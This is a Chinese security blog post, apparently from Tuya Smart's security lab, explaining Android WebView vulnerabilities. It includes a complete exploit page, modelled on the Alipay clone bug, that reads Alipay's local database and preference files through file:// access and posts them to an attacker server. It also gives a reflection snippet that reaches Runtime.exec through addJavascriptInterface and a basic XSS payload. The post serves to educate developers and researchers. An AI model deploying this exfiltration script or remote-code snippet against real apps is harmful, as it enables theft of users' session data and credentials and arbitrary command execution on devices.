TestNet
- 关注

本文作者:Leaf@涂鸦智能安全实验室
通常APP分为三种形式:
Native APP (纯原生)
Hybrid APP(部分原生,部分是H5页面)
Web APP
webview就是在混合应用中存在的H5页面。一个用来展示网页的view组件,一款webkit内核浏览器,含有前进后退,没有地址栏。
所以说可以理解为APP中的浏览器,用来打开网页,那么就有可能造成点开一个链接或者扫描一个二维码就会执行恶意代码。
0x1 setAllowUniversalAccessFromFileURLs
这里可以参考下支付宝克隆漏洞的利用方式,通过Chrome漏洞下载exp.html或者直接本地创建一个exp.html文件,然后file协议去加载这个html,html代码为上传本地文件到服务端:
exp代码:
<div><h2>Hello<h2>Hello Alipay!</h2> <script> var server = "http://服务端地址/recv.php"; function createXHR(){ if(typeof XMLHttpRequest != 'undefined'){ return new XMLHttpRequest(); }else if(typeof ActiveXObject != 'undefined'){ if(typeof arguments.callee.activeXString != 'string'){ var versions = ['MSXML2.XMLHttp.6.0','MSXML2.XMLHttp.3.0','MSXML2.XMLHttp']; for(var i=0;i<versions.length;i++){ try{ var xhr = new ActiveXObject(versions[i]); arguments.callee.activeXString = versions[i]; return xhr; }catch(ex){} } } return new ActiveXObject(arguments.callee.activeXString); }else{ throw new Error('No XHR Object available'); } } // send POST Request function sendPostRequest(url,data,headers,callback){ var xhr = createXHR(); xhr.onload = function(){ callback(xhr.responseText); } xhr.open('POST',url,false); if(typeof(headers)=='object'){ for(var index in headers){ if(typeof(headers[index])!='function'){ xhr.setRequestHeader(index,headers[index]); } } } xhr.send(data); } // send GET Request to read file and return base64(file_content) function sendGetRequestForB64File(url, filename, callback) { var xhr = createXHR(); xhr.onload = function() { var reader = new FileReader(); reader.onloadend = function() { var result = reader.result; var data = result.substr(result.search('base64,') + 'base64,'.length,result.length); data = data.replace(/\+/g,'-').replace(/\//g, '_'); callback(filename, data); } reader.readAsDataURL(xhr.response); }; xhr.open('GET', url); xhr.responseType = 'blob'; xhr.send(); } var files = Array( 'databases/alipayclient.db', 'databases/alipayclient.db-journal', 'files/SGMANAGER_DATA2', 'shared_prefs/alipay_tid_storage.xml', 'shared_prefs/secuitySharedDataStore.xml' ); var base_path = 'file:///data/data/com.eg.android.AlipayGphone/'; for(var each in files){ var file_path = base_path + files[each] sendGetRequestForB64File(file_path,files[each],function(filename, response){ sendPostRequest( server, 'name=' + escape(filename) + '&' + 'content=' + escape(response), {"Content-type" : "application/x-www-form-urlencoded"}, function(a){} ); }); } </script> </div>
APP为例,打开应用目录ls一下,发现应用目录的文件里的app_webview目录,因为webview的Cookie默认存储在webview目录下:
所以找到具体的路径就可以进一步利用了,大概思路是这样的,sdcard下面有一个文件,文件里的脚本可以读取应用的Cookie并且上传的我们服务器:
前提是webview允许读取本地文件。:
0x2 JavaScript Enabled
WebView 与 native 的交互
如何让 web 页面调用 native 的代码呢,下面介绍一下主要的一种方式:
1.首先第一步我们需要设置一个属性,通过 addJavascriptInterface 方法进行添加对象映射
public class JSObject { private Context mContext; public JSObject(Context context) { mContext = context; } @JavascriptInterface public String showToast(String text) { Toast.show(mContext, text, Toast.LENGTH_SHORT).show(); return "success"; } } ... //特定版本下会存在漏洞 mWebView.addJavascriptInterface(new JSObject(this), "myObj");
原生APP代码中实现了JavaScriptInterface,我们就可以直接通过JS去调用原生的安卓方法。在 API17 版本之后,需要在被调用的地方加上 @addJavascriptInterface 约束注解,因为不加上注解的方法是没有办法被调用的,JS 代码也很简单:
myObj.showToast("我是来自web的Toast");
所以当一些 APP 通过扫描二维码打开一个外部网页的时候,可以执行 js 代码,漏洞在 2013 年 8 月被披露后,很多 APP 都中招,其中浏览器 APP 成为重灾区,另外一些小厂商的 APP 开发团队因为缺乏安全意识,依然还在APP中随心所欲的使用 addJavascriptInterface 接口,明目张胆踩雷。
在 JELLY_BEAN(android 4.1)和 JELLY_BEAN 之前的版本中,网页中的JS脚本可以利用接口 “testjs” 调用 App 中的 Java 代码,而 Java 对象继承关系会导致很多 Public 的函数及 getClass 函数都可以在JS中被访问,结合 Java 的反射机制,攻击者还可以获得系统类的函数,进而可以进行任意代码执行。
首先第一步 WebView 添加 Javascript 对象,并且添加一些权限,比如想要获取 SD 卡上面的信息就需要 `android.permission.WRITE_EXTERNAL_STORAGE` ;
第二步 JS 中可以遍历 window 对象,找到存在 getClass 方法的对象,再通过反射的机制,得到 Runtime 对象,然后就可以调用静态方法来执行一些命令,比如访问文件的命令;第三步就是从执行命令后返回的输入流中得到字符串,比如执行完访问文件的命令之后,就可以得到文件名的信息了,有很严重暴露隐私的危险,核心 JS 代码:
function execute(cmdArgs) { for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } } }
出于安全考虑,Google 在 API17 版本中就规定能够被调用的函数必须以 @JavascriptInterface 进行注解,理论上如果 APP 依赖的 API 为 17(Android 4.2)或者以上,就不会受该问题的影响,但在部分低版本的机型上,API17 依然受影响。
XSS
如果开启了JavaScript功能,那么可以直接执行xss payload,很简单的一种利用方式:
<script type="text/javascript"> alert("xss"); </script>
参考文章:
https://medium.com/mobis3c/exploiting-android-webview-vulnerabilities-e2bcff780892
https://blog.knownsec.com/2013/03/attack-your-android-apps-by-webview/
https://www.cnblogs.com/goodhacker/p/8748681.html
https://blog.csdn.net/self_study/article/details/55046348
https://blog.csdn.net/suyimin2010/article/details/88591149
漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。
招聘内推计划:涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位,简历投递sec@tuya.com,请注明来源。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)